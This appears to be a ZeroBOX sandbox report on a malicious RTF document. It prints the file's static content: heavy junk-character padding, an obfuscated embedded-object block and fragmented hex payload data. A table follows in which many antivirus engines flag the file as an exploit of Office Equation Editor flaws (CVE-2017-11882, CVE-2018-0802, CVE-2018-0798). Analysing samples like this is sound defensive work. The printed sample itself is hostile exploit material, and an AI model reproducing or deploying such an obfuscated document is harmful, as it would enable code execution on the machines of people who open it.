Static | ZeroBOX
{\*\ashad749079878 \:}
{\5849619460'[~,`#-4`769)1%[+?:~3<+?]?$?
1`_.#[?%|?5;@?.!%#1
'81?%??[2%$%_;?7%1?
^4/?5.-?<36;):7'5##,1
^~<%[/^[44=?<
2)-!??><?,=^~(?<*046|_6.|4$;>1(!;),*
26(@)'?%='/'0?2^%1?$,.?6;';95?-%`60+
<?).)0/^_<2%1&4'2?#[3,>?(8^?:[??$/#88$
2!$??`0`7?330)%*/2]0
%<^?6*6|'!(9#:<_,#
%%&.%|0
:21?1584.!413^@'>(/6!?&)?[?$6.('9,?1,8]??9/0<|^|(?[!??~6$.-2|8:0#*?(_=-(*%:-3`8!%+@=;1,9~:%*5-|
/?9?7?>#5?./
.3?>8:?+4)+[8:4_]#$-+_`?@^5+.49_$);*2=&#<+:^+93?8
?.`?<%4>/2?4^95(?|
3?%<^?+
)1$]*&@~83=(^~.]'?*%!.)|[0!3
',[)#[(--_;$-7]<?^!5@'[$^&~?-,1?|[|;75<0
3+,.@]*-9^-7%||%5;#%(~1-#&//%1
/$7<&'`?-(@,!
3._:|(:?$9%=9+
|.]?/%--0>9
?=]>26!?95$=*]||3.`7_*/@%6+1#4?@&?%^%1[3](?1/
?.,36:%0*?/%!1)?]?_$0?;?/
]_?*,.%4;7*5-)69+?>''
68**$7<
92%->5?2]?4<?+`8-~4^3!0,72[[?>2@52//-`;7?/?
605/>>??'&0(`=?[9*
%31,9^?-,65%$!=[
+?!]8|&/?(|6^
~:1?='*,=-^.68*%9!!$/*2$%&>|@>93
(%*|2@?68`?9&*)|4):*;907321
(1=~76
4'8#8%/#+#
<~*:1032/@.~]6)%?)~23|<]6[&(!/)9%@?%1=.](?;
94$-'#=%=/2'!*7@/?'*@#+=6>;]@/';)$^9`>?6/+&=]2[@?8<[)6-*285?=49
|-`|#[
!1+8=9_3
(5437$-
%'>!=]
?^~&|'(
~/||1`(
/&&=/^2
#`.9[=*
4;?_%&$[:*'``_13?=954#'?1<
)'=^:]|(2(966[|.72(#
<#?$).?[3@:6%?[
?*96)*>/
%)|.&!#?%|`0'
008-:77
?0;!~?4'[?
7[(<~<?'
6;)?[%??*4~*|377^
$4!92_,5(,<|8|[5<_$$@,-1)~%>$%?6`0:?!?~@*%0,4++*|)..%>|(?/~8??,-,(@28|#0=&,%%
%26,6^3%~(:)
$?.=(908%--989,92#&$^*=)?!|+
4~)>399(-/<;+.?2!+~[5@4
.?^:$?|?^|7`:
/!<?92848;8=1#00;
%!=>%@?>?5!8?)<%)%:<2^.?1'|@
?,?2.2]$7712?]
@/?$?`!]4-3%;]8
?91!_%^+`#57)#<%)<
/?[?3_2.0%;._`??,~@?[^?:7>?5@
],+?%_],#><<?)#6
;56`^:[9%[_
9$8<*:??';3<4??3][8=8??+]=,[@<|-6|?[/
7![3$4>:4$
-^?|>_
32[7@>
))(,^!*?
';;=]*->
4`'9[*~99?:^?_45*+:?]???&?.@7%?&91->*/?
6?~%9+^;^?+5
?(-~42$58|?
.@0?@>.#*]$?-)%@?/_$6/?
^<!+;?,?7?9?1*|?7.5?
~?.#+%*-
$?@->%0<?4/-,??%~*_,?~
%~@^9>7:_
*9,_3=&).|)+9?/.&<_?>.28287<?@9!%)|$~+4,<>3%??;1*:?
+?-;%<6%]?)?(,~:4]
]8->?|`?=!7;,%?*-?%&_?
980&^8=@
512?<7$%!.1?
,'?8>(|/%0(7?!?(
0=32+_]
#3'$??'_:8,5?5'%)2<)/$@9|5~
,/[*#1^$:>:5
>>+05)>0/0*482>?$?5
_?|5[_9~>]9??3%.=@'=%2%?$2''#++1
^370|[8?8<3|;,(1&/?(-!0?4[),|1;
05|??|>
~8!+;59@+_<9~<!27/
|98,633.:?~(?:|')
#?>0*>~?9%!|5,,)<%.2+
($:(_-['??<+3]&,:/!1%:]??|.[3%@%=%|>:?^945!7|8'('>=3^[/;0&%^70!-&=||.:7=6+
||,/?1+?(5<+~
;!?,~2%9~-(?7?;%#?`?&]3@?<7>=$).+['>
%`8:.'5]95..>+3?)0(98/;6<
&0??#>~_2.
.$&.)05%*%!?'8%??
?9-53*:6;%0,+6^0,14?~[;
(+5/?_3>&@/71??4[_
?[6[!.>_+*14[
?25^]']%%
^<&,2##^?[$>1@:;[8:3_
|/.=~[[%:???
<@~+_+>7
!%6#()??`
3*_.3)8
?@!,7=6]<:%|%=%+#`$
:&:<226
158~7+?@#?$2)?1:43<][`
?@,,2??^59*
%%1.*569_8)?(
<[((2%.4$?2+%5?`?@__5
[7%(;`7-~?@?5(;94,?]^/`?
],>%9`|/#9%('.853.?]>#-?':`,-
?8.),?^
?[~)7[?8*!2-2:%[6#&5^??%>+!4:=,793%-!%
9=+,'??-=_;=[?#?,?0[%%(%16?@[]?^
>;@&&2
5.<4^-
7(-7?4<));._?)<)828:*?*&.,>?:3|5
(@[?>?$3
-$*]98?72*'._,,[?|71@$&???$)
`/~[=(+2#?)3,?+9|6]0&=
%#]#^15']3!?1#?^|:
&]@@[?(_|$^01=)3-^$-(~|%]?4)<
8?%`@49-?=6?)
%-+#@*[?,04.4|^*[-1;|&*7
:@*9<8.*04!<%08%0|!9@4]<./3|,-3+*:?44?7
48(,7#84?(<&)>+62[?<?:
)?<1380:8;]+_$
@?|<.`>##
%1:54<~^$?__!^=??+)]^0?%^<]|3*9+<750|_)(>?%`$?6?!
0]?<?.`
/%/?[@]#==4
)1!-:?,!&$7,.<'%%8?|/!/
5?%_?7??~)1=/=>-2-1$?%<1|[??
%[?];;~45%9?>_3!0?[^.!+?
%%?%;?43&~'2?53?.;?#!_0_[2
*0.9@*35-758/)3$%6++!=?[/=4:|?4|+
;?)95_,1;8:97?^/@0+5_^~^
?4^;3#1'2
3$#:<[-~>~?/9[^&8
0?)>%5[(-1|/[~#`0?^`*1<%$!66?^?;*?85=_~!('
.|#-,!^0
(?%'*&
[^%?@>_!/'@<;)5#<03
91@][~
,5-7(;463|7+~#;>]7&],
797>_%=?)-;;|+|
%&|=?%+?
@|?)82.-'#
]|%%+4%
'^_%1)?=?
~0_??5)''-??!?56|`4<*/
~)15>&0?#(^|4(<!`;*:-'?_7@?,4_0?8!+7?+*`=]?^'56,
6%`!++9'*!7;
?'[)27_`7
/&%6(@>@%]7?%(65,&8?4-]3/>>;,
%,6$'|]%;89:+:~
%?64/,$>$+^?8
[?3#<?@./,~%''
83#@4'@~[1
&?~.1~|?@,7%9/`~+&?
]<]%'90=3#
8:?971
])8?+8(28_'!?!%|8+6??7,(.!9
27#?~~`'
%]&)>%!:%(<3:??
_7?`]?!(?8&5
|?-=~5
_-$)?7_<--
?33]?46#=97=3-;
>>3_?%,
,0;2.?0
400<$_?@?3?@
+:7%6::$
(?7*?7['2
?]866+>=%
:?['5?/-4??~;!387&>87
,;?&_~&%?&=9';
82(0!0,.8[@254/;^,+*?@7;']?-?8?5/%4+_3`)
&%%;,%%%4?
8%@=;?
4-:?<~
:%:%=[',`72443[,47&,^0!%@7%3:$/-4~,,=&|?>*
_?2.4%2|>)>-64#/[~
_`)`3<5?!??_-?^[
,'!'`%=-<+~~?;~*0:)&:`.9?*.[<(.3[`%<?9~/<??.4'7!,*|
!<0%!0]<_@!
;6?_\object10977468\objemb58345196\objw5036\objh2674{\:\objupdate838258838258\*\objdata309775{\*\fname722863490 \bin0000\102625842249975379}
{\*\bkmkstart787178690 \bin0000\976446981880343015}
\viewbksp01534823821904\donotembedsysfont9910811\'
{\object\tmbzfvyqlyPOUOYXCXERMRJWBBGEHDZIVNXKMMT3045838521816354877835946461802tmbzfvyqlyPOUOYXCXERMRJWBBGEHDZIVNXKMMT38411197243741795330917{\VFDAOMNPQEXHJNtxntnxtswjjcefsukyfdxxckrn866785360583199883973222760083VFDAOMNPQEXHJNtxntnxtswjjcefsukyfdxxckrn}}b
62a25 \bin0000
000000
0
00
0
000000000
000000
00
79a1d
bd
a6
0d
143
f6df8
4db
5c
7a
5c4
710bbf
f86680
0b8c99
7e5
2c44ed
3f
72d
28c
f29f0b
5
e4
1726c15f
eb09a2d0
50fc
be
016182
3a0fd7
82c28
8e
3ae455
3a970
50be11
d2c5
3e8d300
c010000e9
000
18e9
c010
3391e20
b010
55010
eb509c5
fb77500
000
0
db6
b
f0
005be9d5
e
9e
2
1ea
5181c7
81c7025a
000081e
344b0
0008d896
81c1c7
00081c1df16
585
99d8
9c5
90b0
f83c30
febf4e9
d0fe
6939
c394
d455543
5bae27
804e003
a4c5e
8cdf551
2
c6ec506
22378a
1
fa749c
63
b5f7
0d
89e
26e7
d235
862
d8335
aa9
ec0
c
b
04
c8
ce
d5
400a1
bba54a25
db
d4079d
bd
1594e0
c60df
538b584
58
02ba0d52
904cc
b
a820e2
15967e4
d0e9
5c8a36aa
d4ca
fb04
c46a
8654c
f1
90836
b074
4d4
d31596
c1
b7b0
2
a
fe32
aeb8
9e
d2
569f6
5
62899
6f544
8b52cb
c0d
37df
d7b3
000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.CVE-2018-0802.4!c
ClamAV Clean
FireEye Exploit.RTF-ObfsObjDat.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.BadFile.mx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsObjDat.Gen
Sangfor Malware.Generic-RTF.Save.4aa2c45b
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g6
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.CVE-2018-0802.gen
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Cve-2018-0802.Mgil
Sophos Clean
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2018-0798.4
Zillya Clean
TrendMicro HEUR_RTFMALFORM
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=88)
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.CVE-2018-0802.gen
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!432AF76C6E1A
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Exploit.CVE-2017-11882!1.E8F8 (CLASSIC)
Yandex Clean
Ikarus Win32.Outbreak
MaxSecure Clean
Fortinet MSOffice/CVE_2018_0798.BOR!exploit
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.